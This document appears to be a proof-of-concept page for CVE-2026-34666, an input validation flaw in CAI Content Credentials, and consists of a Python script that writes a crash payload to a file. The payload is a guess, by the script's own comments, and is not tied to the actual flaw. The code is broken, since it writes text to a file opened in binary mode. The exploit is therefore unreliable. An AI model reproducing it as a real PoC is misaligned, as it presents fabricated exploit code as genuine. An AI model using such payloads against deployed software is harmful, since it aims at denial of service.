CVE-2026-34666: CAI Content Credentials 输入验证不当漏洞

# PoC for CVE-2026-34666 (Conceptual) # This script demonstrates how a malformed input might trigger the DoS. import sys def generate_malicious_payload(): # In a real scenario, this payload would be crafted based on the specific # input validation flaw (e.g., buffer overflow, malformed format). # Assuming a buffer overflow or special character sequence. return "A" * 10000 + "\x00\xff\x00\xff" def trigger_vulnerability(target_file): payload = generate_malicious_payload() try: # Simulating passing the payload to the vulnerable application with open(target_file, 'wb') as f: f.write(payload) print(f"[+] Malicious payload written to {target_file}") print(f"[+] Feed this file to CAI Content Credentials to trigger the crash.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_34666_poc.py <target_file>") else: trigger_vulnerability(sys.argv[1])